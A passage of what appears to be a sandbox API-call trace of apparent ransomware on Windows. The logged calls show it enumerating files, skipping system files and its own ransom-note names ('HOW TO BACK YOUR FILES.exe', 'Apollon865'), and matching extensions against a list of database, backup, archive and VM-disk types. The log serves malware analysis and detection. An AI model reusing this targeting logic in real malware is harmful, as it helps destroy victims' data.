	[0052.574] lstrlenW (lpString="db-journal") returned 10
	[0052.574] lstrcmpiW (lpString1="dTasks.dll", lpString2="db-journal") returned 1
	[0052.574] lstrlenW (lpString="db-shm") returned 6
	[0052.574] lstrcmpiW (lpString1="ks.dll", lpString2="db-shm") returned 1
	[0052.574] lstrlenW (lpString="db-wal") returned 6
	[0052.574] lstrcmpiW (lpString1="ks.dll", lpString2="db-wal") returned 1
	[0052.574] lstrlenW (lpString="dbc") returned 3
	[0052.574] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0052.574] lstrlenW (lpString="dbs") returned 3
	[0052.574] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0052.574] lstrlenW (lpString="dbt") returned 3
	[0052.574] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0052.574] lstrlenW (lpString="dbv") returned 3
	[0052.574] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0052.574] lstrlenW (lpString="dbx") returned 3
	[0052.574] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0052.574] lstrlenW (lpString="dcb") returned 3
	[0052.574] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0052.574] lstrlenW (lpString="dct") returned 3
	[0052.574] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0052.574] lstrlenW (lpString="dcx") returned 3
	[0052.574] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0052.574] lstrlenW (lpString="ddl") returned 3
	[0052.574] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0052.574] lstrlenW (lpString="dlis") returned 4
	[0052.574] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1
	[0052.574] lstrlenW (lpString="dp1") returned 3
	[0052.574] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0052.574] lstrlenW (lpString="dqy") returned 3
	[0052.574] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0052.574] lstrlenW (lpString="dsk") returned 3
	[0052.574] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0052.575] lstrlenW (lpString="dsn") returned 3
	[0052.575] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0052.575] lstrlenW (lpString="dtsx") returned 4
	[0052.575] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1
	[0052.575] lstrlenW (lpString="dxl") returned 3
	[0052.575] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0052.575] lstrlenW (lpString="eco") returned 3
	[0052.575] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0052.575] lstrlenW (lpString="ecx") returned 3
	[0052.575] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0052.575] lstrlenW (lpString="edb") returned 3
	[0052.575] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0052.575] lstrlenW (lpString="epim") returned 4
	[0052.575] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1
	[0052.575] lstrlenW (lpString="fcd") returned 3
	[0052.575] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0052.575] lstrlenW (lpString="fdb") returned 3
	[0052.575] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0052.575] lstrlenW (lpString="fic") returned 3
	[0052.575] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0052.575] lstrlenW (lpString="flexolibrary") returned 12
	[0052.575] lstrcmpiW (lpString1="ildTasks.dll", lpString2="flexolibrary") returned 1
	[0052.575] lstrlenW (lpString="fm5") returned 3
	[0052.575] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0052.575] lstrlenW (lpString="fmp") returned 3
	[0052.575] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0052.575] lstrlenW (lpString="fmp12") returned 5
	[0052.575] lstrcmpiW (lpString1="s.dll", lpString2="fmp12") returned 1
	[0052.575] lstrlenW (lpString="fmpsl") returned 5
	[0052.575] lstrcmpiW (lpString1="s.dll", lpString2="fmpsl") returned 1
	[0052.575] lstrlenW (lpString="fol") returned 3
	[0052.575] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0052.575] lstrlenW (lpString="fp3") returned 3
	[0052.575] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0052.575] lstrlenW (lpString="fp4") returned 3
	[0052.575] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0052.576] lstrlenW (lpString="fp5") returned 3
	[0052.576] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0052.576] lstrlenW (lpString="fp7") returned 3
	[0052.576] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0052.576] lstrlenW (lpString="fpt") returned 3
	[0052.576] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0052.576] lstrlenW (lpString="frm") returned 3
	[0052.576] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0052.576] lstrlenW (lpString="gdb") returned 3
	[0052.576] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0052.576] lstrlenW (lpString="gdb") returned 3
	[0052.576] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0052.576] lstrlenW (lpString="grdb") returned 4
	[0052.576] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1
	[0052.576] lstrlenW (lpString="gwi") returned 3
	[0052.576] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0052.576] lstrlenW (lpString="hdb") returned 3
	[0052.576] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0052.576] lstrlenW (lpString="his") returned 3
	[0052.576] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0052.576] lstrlenW (lpString="ib") returned 2
	[0052.576] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0052.576] lstrlenW (lpString="idb") returned 3
	[0052.576] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0052.576] lstrlenW (lpString="ihx") returned 3
	[0052.576] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0052.576] lstrlenW (lpString="itdb") returned 4
	[0052.576] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1
	[0052.576] lstrlenW (lpString="itw") returned 3
	[0052.576] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0052.576] lstrlenW (lpString="jet") returned 3
	[0052.576] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0052.576] lstrlenW (lpString="jtx") returned 3
	[0052.576] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0052.576] lstrlenW (lpString="kdb") returned 3
	[0052.576] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0052.577] lstrlenW (lpString="kexi") returned 4
	[0052.577] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1
	[0052.577] lstrlenW (lpString="kexic") returned 5
	[0052.577] lstrcmpiW (lpString1="s.dll", lpString2="kexic") returned 1
	[0052.577] lstrlenW (lpString="kexis") returned 5
	[0052.577] lstrcmpiW (lpString1="s.dll", lpString2="kexis") returned 1
	[0052.577] lstrlenW (lpString="lgc") returned 3
	[0052.577] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0052.577] lstrlenW (lpString="lwx") returned 3
	[0052.577] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0052.577] lstrlenW (lpString="maf") returned 3
	[0052.577] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0052.577] lstrlenW (lpString="maq") returned 3
	[0052.577] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0052.577] lstrlenW (lpString="mar") returned 3
	[0052.577] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0052.577] lstrlenW (lpString="marshal") returned 7
	[0052.577] lstrcmpiW (lpString1="sks.dll", lpString2="marshal") returned 1
	[0052.577] lstrlenW (lpString="mas") returned 3
	[0052.577] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0052.577] lstrlenW (lpString="mav") returned 3
	[0052.577] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0052.577] lstrlenW (lpString="maw") returned 3
	[0052.577] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0052.577] lstrlenW (lpString="mdbhtml") returned 7
	[0052.577] lstrcmpiW (lpString1="sks.dll", lpString2="mdbhtml") returned 1
	[0052.577] lstrlenW (lpString="mdn") returned 3
	[0052.577] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0052.577] lstrlenW (lpString="mdt") returned 3
	[0052.577] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0052.577] lstrlenW (lpString="mfd") returned 3
	[0052.577] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0052.577] lstrlenW (lpString="mpd") returned 3
	[0052.577] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0052.577] lstrlenW (lpString="mrg") returned 3
	[0052.578] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0052.578] lstrlenW (lpString="mud") returned 3
	[0052.578] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0052.578] lstrlenW (lpString="mwb") returned 3
	[0052.578] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0052.578] lstrlenW (lpString="myd") returned 3
	[0052.578] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0052.578] lstrlenW (lpString="ndf") returned 3
	[0052.578] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0052.578] lstrlenW (lpString="nnt") returned 3
	[0052.578] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0052.578] lstrlenW (lpString="nrmlib") returned 6
	[0052.578] lstrcmpiW (lpString1="ks.dll", lpString2="nrmlib") returned -1
	[0052.578] lstrlenW (lpString="ns2") returned 3
	[0052.578] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0052.578] lstrlenW (lpString="ns3") returned 3
	[0052.578] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0052.578] lstrlenW (lpString="ns4") returned 3
	[0052.578] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0052.578] lstrlenW (lpString="nsf") returned 3
	[0052.578] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0052.578] lstrlenW (lpString="nv") returned 2
	[0052.578] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0052.578] lstrlenW (lpString="nv2") returned 3
	[0052.578] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0052.578] lstrlenW (lpString="nwdb") returned 4
	[0052.578] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1
	[0052.578] lstrlenW (lpString="nyf") returned 3
	[0052.578] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0052.578] lstrlenW (lpString="odb") returned 3
	[0052.578] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0052.578] lstrlenW (lpString="odb") returned 3
	[0052.578] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0052.578] lstrlenW (lpString="oqy") returned 3
	[0052.578] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0052.578] lstrlenW (lpString="ora") returned 3
	[0052.579] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0052.579] lstrlenW (lpString="orx") returned 3
	[0052.579] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0052.579] lstrlenW (lpString="owc") returned 3
	[0052.579] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0052.579] lstrlenW (lpString="p96") returned 3
	[0052.579] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0052.579] lstrlenW (lpString="p97") returned 3
	[0052.579] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0052.579] lstrlenW (lpString="pan") returned 3
	[0052.579] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0052.579] lstrlenW (lpString="pdb") returned 3
	[0052.579] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0052.579] lstrlenW (lpString="pdm") returned 3
	[0052.579] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0052.579] lstrlenW (lpString="pnz") returned 3
	[0052.579] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0052.579] lstrlenW (lpString="qry") returned 3
	[0052.579] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0052.579] lstrlenW (lpString="qvd") returned 3
	[0052.579] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0052.579] lstrlenW (lpString="rbf") returned 3
	[0052.579] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0052.579] lstrlenW (lpString="rctd") returned 4
	[0052.579] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1
	[0052.579] lstrlenW (lpString="rod") returned 3
	[0052.579] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0052.579] lstrlenW (lpString="rodx") returned 4
	[0052.579] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1
	[0052.579] lstrlenW (lpString="rpd") returned 3
	[0052.579] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0052.579] lstrlenW (lpString="rsd") returned 3
	[0052.579] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0052.579] lstrlenW (lpString="sas7bdat") returned 8
	[0052.579] lstrcmpiW (lpString1="asks.dll", lpString2="sas7bdat") returned -1
	[0052.579] lstrlenW (lpString="sbf") returned 3
	[0052.580] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0052.580] lstrlenW (lpString="scx") returned 3
	[0052.580] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0052.580] lstrlenW (lpString="sdb") returned 3
	[0052.580] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0052.580] lstrlenW (lpString="sdc") returned 3
	[0052.580] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0052.580] lstrlenW (lpString="sdf") returned 3
	[0052.580] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0052.580] lstrlenW (lpString="sis") returned 3
	[0052.580] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0052.580] lstrlenW (lpString="spq") returned 3
	[0052.580] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0052.580] lstrlenW (lpString="te") returned 2
	[0052.580] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0052.580] lstrlenW (lpString="teacher") returned 7
	[0052.580] lstrcmpiW (lpString1="sks.dll", lpString2="teacher") returned -1
	[0052.580] lstrlenW (lpString="tmd") returned 3
	[0052.580] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0052.580] lstrlenW (lpString="tps") returned 3
	[0052.580] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0052.580] lstrlenW (lpString="trc") returned 3
	[0052.580] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0052.580] lstrlenW (lpString="trc") returned 3
	[0052.580] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0052.580] lstrlenW (lpString="trm") returned 3
	[0052.580] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0052.580] lstrlenW (lpString="udb") returned 3
	[0052.580] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0052.580] lstrlenW (lpString="udl") returned 3
	[0052.580] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0052.580] lstrlenW (lpString="usr") returned 3
	[0052.580] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0052.580] lstrlenW (lpString="v12") returned 3
	[0052.580] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0052.580] lstrlenW (lpString="vis") returned 3
	[0052.581] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0052.581] lstrlenW (lpString="vpd") returned 3
	[0052.581] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0052.581] lstrlenW (lpString="vvv") returned 3
	[0052.581] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0052.581] lstrlenW (lpString="wdb") returned 3
	[0052.581] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0052.581] lstrlenW (lpString="wmdb") returned 4
	[0052.581] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1
	[0052.581] lstrlenW (lpString="wrk") returned 3
	[0052.581] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0052.581] lstrlenW (lpString="xdb") returned 3
	[0052.581] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0052.581] lstrlenW (lpString="xld") returned 3
	[0052.581] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0052.581] lstrlenW (lpString="xmlff") returned 5
	[0052.581] lstrcmpiW (lpString1="s.dll", lpString2="xmlff") returned -1
	[0052.581] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1db959, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab1db959, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab4fb63f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x406000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1
	[0052.581] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.581] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="Apollon865.txt.exe") returned 1
	[0052.581] lstrcmpiW (lpString1="PresentationCore.dll", lpString2=".") returned 1
	[0052.581] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="..") returned 1
	[0052.581] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="windows") returned -1
	[0052.581] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="bootmgr") returned 1
	[0052.581] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="temp") returned -1
	[0052.581] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="pagefile.sys") returned 1
	[0052.581] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="boot") returned 1
	[0052.581] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="ids.txt") returned 1
	[0052.581] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="ntuser.dat") returned 1
	[0052.581] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="perflogs") returned 1
	[0052.581] lstrcmpiW (lpString1="PresentationCore.dll", lpString2="MSBuild") returned 1
	[0052.581] lstrlenW (lpString="PresentationCore.dll") returned 20
	[0052.581] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationBuildTasks.dll") returned 95
	[0052.581] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="PresentationCore.dll" | out: lpString1="PresentationCore.dll") returned="PresentationCore.dll"
	[0052.582] lstrlenW (lpString="PresentationCore.dll") returned 20
	[0052.582] lstrlenW (lpString="Apollon865") returned 10
	[0052.582] lstrcmpiW (lpString1="onCore.dll", lpString2="Apollon865") returned 1
	[0052.582] lstrlenW (lpString=".dll") returned 4
	[0052.582] lstrcmpiW (lpString1="PresentationCore.dll", lpString2=".dll") returned 1
	[0052.582] lstrlenW (lpString=".lnk") returned 4
	[0052.582] lstrcmpiW (lpString1="PresentationCore.dll", lpString2=".lnk") returned 1
	[0052.582] lstrlenW (lpString=".ini") returned 4
	[0052.582] lstrcmpiW (lpString1="PresentationCore.dll", lpString2=".ini") returned 1
	[0052.582] lstrlenW (lpString=".sys") returned 4
	[0052.582] lstrcmpiW (lpString1="PresentationCore.dll", lpString2=".sys") returned 1
	[0052.582] lstrlenW (lpString="PresentationCore.dll") returned 20
	[0052.582] lstrlenW (lpString="bak") returned 3
	[0052.582] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0052.582] lstrlenW (lpString="ba_") returned 3
	[0052.582] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0052.582] lstrlenW (lpString="dbb") returned 3
	[0052.582] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0052.582] lstrlenW (lpString="vmdk") returned 4
	[0052.582] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0052.582] lstrlenW (lpString="rar") returned 3
	[0052.582] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0052.582] lstrlenW (lpString="zip") returned 3
	[0052.582] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0052.582] lstrlenW (lpString="tgz") returned 3
	[0052.582] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0052.582] lstrlenW (lpString="vbox") returned 4
	[0052.582] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0052.582] lstrlenW (lpString="vdi") returned 3
	[0052.582] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0052.582] lstrlenW (lpString="vhd") returned 3
	[0052.582] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0052.582] lstrlenW (lpString="vhdx") returned 4
	[0052.582] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0052.582] lstrlenW (lpString="avhd") returned 4
	[0052.582] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0052.583] lstrlenW (lpString="db") returned 2
	[0052.583] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0052.583] lstrlenW (lpString="db2") returned 3
	[0052.583] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0052.583] lstrlenW (lpString="db3") returned 3
	[0052.583] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0052.583] lstrlenW (lpString="dbf") returned 3
	[0052.583] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0052.583] lstrlenW (lpString="mdf") returned 3
	[0052.583] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0052.583] lstrlenW (lpString="mdb") returned 3
	[0052.583] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0052.583] lstrlenW (lpString="sql") returned 3
	[0052.583] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0052.583] lstrlenW (lpString="sqlite") returned 6
	[0052.583] lstrcmpiW (lpString1="re.dll", lpString2="sqlite") returned -1
	[0052.583] lstrlenW (lpString="sqlite3") returned 7
	[0052.583] lstrcmpiW (lpString1="ore.dll", lpString2="sqlite3") returned -1
	[0052.583] lstrlenW (lpString="sqlitedb") returned 8
	[0052.583] lstrcmpiW (lpString1="Core.dll", lpString2="sqlitedb") returned -1
	[0052.583] lstrlenW (lpString="xml") returned 3
	[0052.583] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0052.583] lstrlenW (lpString="$er") returned 3
	[0052.583] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0052.583] lstrlenW (lpString="4dd") returned 3
	[0052.583] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0052.583] lstrlenW (lpString="4dl") returned 3
	[0052.583] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0052.583] lstrlenW (lpString="^^^") returned 3
	[0052.583] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0052.583] lstrlenW (lpString="abs") returned 3
	[0052.583] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0052.583] lstrlenW (lpString="abx") returned 3
	[0052.583] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0052.583] lstrlenW (lpString="accdb") returned 5
	[0052.583] lstrcmpiW (lpString1="e.dll", lpString2="accdb") returned 1
	[0052.584] lstrlenW (lpString="accdc") returned 5
	[0052.584] lstrcmpiW (lpString1="e.dll", lpString2="accdc") returned 1
	[0052.584] lstrlenW (lpString="accde") returned 5
	[0052.584] lstrcmpiW (lpString1="e.dll", lpString2="accde") returned 1
	[0052.584] lstrlenW (lpString="accdr") returned 5
	[0052.584] lstrcmpiW (lpString1="e.dll", lpString2="accdr") returned 1
	[0052.584] lstrlenW (lpString="accdt") returned 5
	[0052.584] lstrcmpiW (lpString1="e.dll", lpString2="accdt") returned 1
	[0052.584] lstrlenW (lpString="accdw") returned 5
	[0052.584] lstrcmpiW (lpString1="e.dll", lpString2="accdw") returned 1
	[0052.584] lstrlenW (lpString="accft") returned 5
	[0052.584] lstrcmpiW (lpString1="e.dll", lpString2="accft") returned 1
	[0052.584] lstrlenW (lpString="adb") returned 3
	[0052.584] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0052.584] lstrlenW (lpString="adb") returned 3
	[0052.584] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0052.584] lstrlenW (lpString="ade") returned 3
	[0052.584] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0052.584] lstrlenW (lpString="adf") returned 3
	[0052.584] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0052.584] lstrlenW (lpString="adn") returned 3
	[0052.584] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0052.584] lstrlenW (lpString="adp") returned 3
	[0052.584] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0052.584] lstrlenW (lpString="alf") returned 3
	[0052.584] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0052.584] lstrlenW (lpString="ask") returned 3
	[0052.584] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0052.584] lstrlenW (lpString="btr") returned 3
	[0052.584] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0052.584] lstrlenW (lpString="cat") returned 3
	[0052.584] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0052.584] lstrlenW (lpString="cdb") returned 3
	[0052.584] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0052.584] lstrlenW (lpString="ckp") returned 3
	[0052.585] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0052.585] lstrlenW (lpString="cma") returned 3
	[0052.585] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0052.585] lstrlenW (lpString="cpd") returned 3
	[0052.585] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0052.585] lstrlenW (lpString="dacpac") returned 6
	[0052.585] lstrcmpiW (lpString1="re.dll", lpString2="dacpac") returned 1
	[0052.585] lstrlenW (lpString="dad") returned 3
	[0052.585] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0052.585] lstrlenW (lpString="dadiagrams") returned 10
	[0052.585] lstrcmpiW (lpString1="onCore.dll", lpString2="dadiagrams") returned 1
	[0052.585] lstrlenW (lpString="daschema") returned 8
	[0052.585] lstrcmpiW (lpString1="Core.dll", lpString2="daschema") returned -1
	[0052.585] lstrlenW (lpString="db-journal") returned 10
	[0052.585] lstrcmpiW (lpString1="onCore.dll", lpString2="db-journal") returned 1
	[0052.585] lstrlenW (lpString="db-shm") returned 6
	[0052.585] lstrcmpiW (lpString1="re.dll", lpString2="db-shm") returned 1
	[0052.585] lstrlenW (lpString="db-wal") returned 6
	[0052.585] lstrcmpiW (lpString1="re.dll", lpString2="db-wal") returned 1
	[0052.585] lstrlenW (lpString="dbc") returned 3
	[0052.585] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0052.585] lstrlenW (lpString="dbs") returned 3
	[0052.585] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0052.585] lstrlenW (lpString="dbt") returned 3
	[0052.585] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0052.585] lstrlenW (lpString="dbv") returned 3
	[0052.585] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0052.585] lstrlenW (lpString="dbx") returned 3
	[0052.585] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0052.585] lstrlenW (lpString="dcb") returned 3
	[0052.585] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0052.586] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="PresentationFramework.Aero.dll" | out: lpString1="PresentationFramework.Aero.dll") returned="PresentationFramework.Aero.dll"
	[0052.586] lstrlenW (lpString="PresentationFramework.Aero.dll") returned 30
	[0052.586] lstrlenW (lpString="Apollon865") returned 10
	[0052.586] lstrcmpiW (lpString1="k.Aero.dll", lpString2="Apollon865") returned 1
	[0052.586] lstrlenW (lpString=".dll") returned 4
	[0052.586] lstrcmpiW (lpString1="PresentationFramework.Aero.dll", lpString2=".dll") returned 1
	[0052.586] lstrlenW (lpString=".lnk") returned 4
	[0052.586] lstrcmpiW (lpString1="PresentationFramework.Aero.dll", lpString2=".lnk") returned 1
	[0052.586] lstrlenW (lpString=".ini") returned 4
	[0052.586] lstrcmpiW (lpString1="PresentationFramework.Aero.dll", lpString2=".ini") returned 1
	[0052.586] lstrlenW (lpString=".sys") returned 4
	[0052.586] lstrcmpiW (lpString1="PresentationFramework.Aero.dll", lpString2=".sys") returned 1
	[0052.586] lstrlenW (lpString="PresentationFramework.Aero.dll") returned 30
	[0052.586] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="PresentationFramework.Classic.dll" | out: lpString1="PresentationFramework.Classic.dll") returned="PresentationFramework.Classic.dll"
	[0052.586] lstrlenW (lpString="PresentationFramework.Classic.dll") returned 33
	[0052.586] lstrlenW (lpString="Apollon865") returned 10
